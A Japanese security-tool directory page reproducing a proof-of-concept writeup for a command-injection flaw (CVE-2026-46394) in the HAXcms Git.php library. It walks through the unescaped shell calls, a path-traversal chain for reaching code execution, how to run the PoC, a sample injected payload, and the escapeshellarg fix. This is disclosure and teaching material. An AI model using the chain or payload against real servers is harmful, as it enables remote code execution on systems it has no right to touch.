Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-46394-haxcms-git-command-injection — CVE-2026-46394 の PoC および writeup: HAXcms Git.php における OS コマンドインジェクション (CWE-78)。認可されたセキュリティ研究のみを対象としています。 | Kitploit
ツール/GitHubGitHub/shreyas-challa/cve-2026-46394-haxcms-git-command-injection
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubshreyas-challa/cve-2026-46394-haxcms-git-command-injection

CVE-2026-46394-haxcms-git-command-injection

CVE-2026-46394 の PoC および writeup: HAXcms Git.php における OS コマンドインジェクション (CWE-78)。認可されたセキュリティ研究のみを対象としています。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-46394 - HAXcms Git.php OSコマンドインジェクション (CWE-78)

認可されたセキュリティテストおよび研究専用のProof-of-Conceptです。 ここで説明する脆弱性はHAXcmsの最新リリースで修正済みです。 このPoCは、防御者と研究者が、自身が所有する、または明示的にテストを 認可された未パッチのインスタンスで問題を検証できるように公開されています。

CVECVE-2026-46394
コンポーネントHAXcms PHPバックエンド - system/backend/php/lib/Git.php
脆弱性OSコマンドインジェクション (CWE-78)
深刻度高 - CVSS 3.1 7.2 単体 / 8.1 パストラバーサルと連鎖
ステータス上流で修正済み。パッチ適用前のリリースに影響。
プロジェクトelmsln/HAXcms
報告者Shreyas Challa ([email protected])

概要

HAXcms PHPバックエンドのGit.phpライブラリは、サニタイズされていないパラメータを連結してシェルコマンド文字列を構築し、そのままproc_open()に渡します。シェルコマンドを実行する17の関数のうち、escapeshellarg()を使用しているのは1つ(commit())だけです。残りの15は、呼び出し元の入力をコマンド文字列に直接埋め込みます。

シェルメタ文字(&、;、|、$()、バッククォート)を含む値がこれらの関数のいずれかに到達すると、Webサーバーユーザーとしての任意のOSコマンド実行につながります。

正しくエスケープされている唯一の関数は、エスケープ処理が理解されており、他のすべての箇所で単に省略されたことを最も明確に示しています。

根本原因

影響を受けるすべての関数は、run() → run_command() → proc_open() を経由します:

root@kitploit:~
// Git.php:408-411 - builds a raw command string
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

脆弱な例と、唯一安全な関数の対比:

root@kitploit:~
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

影響を受けるすべての関数

関数行シェルコマンドエスケープ済み?
create_branch($branch)574branch $branchいいえ
delete_branch($branch)588branch -d $branchいいえ
checkout($branch)663checkout $branchいいえ
merge($branch)677merge $branch --no-ffいいえ
push($remote, $branch)785push $remote $branch $flagsいいえ
pull($remote, $branch)799pull $remote $branchいいえ
log($format)813log --pretty=format:"$format"いいえ
show($commit, $format)830show --pretty=format:"$format" $commitいいえ
list_tags($pattern)763tag -l $patternいいえ
clone_to($target)512clone --local $repo $targetいいえ
clone_from($source)527clone --local $source $repoいいえ
clone_remote($source)543clone $source $repoいいえ
set_remote($dest, $url)460remote add $dest $urlいいえ
rm($files)

悪用の文脈

出荷時のコードベースでは、これらの関数はリクエストボディから直接ではなく、サーバー/サイト設定から取得された値で呼び出されるため、悪用は連鎖によって実現されます:

  • パストラバーサル → 設定の改ざん → RCE: saveOutline のパストラバーサルを使用してサイトの site.json を上書きし、metadata.site.git.branch にメタ文字を注入します。次の gitCommit() は HAXCMSSite.php:584 で push('origin', $branch) を呼び出し、ペイロードを実行します。
  • マニフェストにgitブランチ/リモート設定を書き込むその他のメカニズムは、create_branch()(Operations.php:2762)または set_remote()(HAXCMSSite.php:625)に到達します。

PoCの実行

PoCは実際のGit.phpライブラリを直接操作します。使い捨てのgitリポジトリを作成し、シェルコマンド区切り文字を使用するペイロードを指定してcreate_branch()を呼び出し、ディスクに書き込まれた証拠ファイルを確認することで実行を確認します。その後、自動的に後始末を行います。

前提条件

  • PHP CLI(7.x または 8.x)
  • PATH に git が存在すること
  • HAXcms PHPバックエンドのコピー
root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

実行

PoCをHAXcmsクローンにあるGit.phpに指定します(環境変数または最初の引数)。また、隣に置かれたhaxcms-php/も自動検出します:

root@kitploit:~
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

Unix(;区切り)とWindows(&区切り)の両方で動作します。PoCはホストOSに適したペイロードを自動的に選択します。

出力例

root@kitploit:~
================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

STEP 3: Inject OS command via create_branch()
  Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

STEP 4: Verify injected command executed
  FILE FOUND!
    Content: COMMAND_INJECTION_PROOF
  COMMAND INJECTION CONFIRMED.

修正方法

15すべての関数のすべてのパラメータにescapeshellarg()を適用します:

root@kitploit:~
// BEFORE
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

多層防御 - gitレイヤーに到達する前に値を検証します:

root@kitploit:~
function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}

上流の修正を含む最新のHAXcmsリリースに更新してください。

責任ある情報開示

この問題はHAXcmsメンテナに報告され、公開前に修正されました。PoCはパッチが利用可能になった後にのみ公開されています。自身が所有するシステム、または明示的にテストを認可されたシステムに対してのみ使用してください。

法的/認可使用に関する通知

この資料は防御的研究、教育、および認可されたセキュリティテストのために提供されています。明示的な許可なくシステムに対して実行することは違法となる場合があります。テスト前に、適用されるすべての法律を遵守し、認可を取得する責任はすべてあなたにあります。保証なしで「現状のまま」提供されます(LICENSE を参照)。

ツールをダウンロード
479
rm $files
いいえ
add_tag($tag, $msg)749tag -a $tag -m $msg$tag: いいえ, $msg: はい
commit($message)496commit -av -m $messageはい(唯一安全な関数)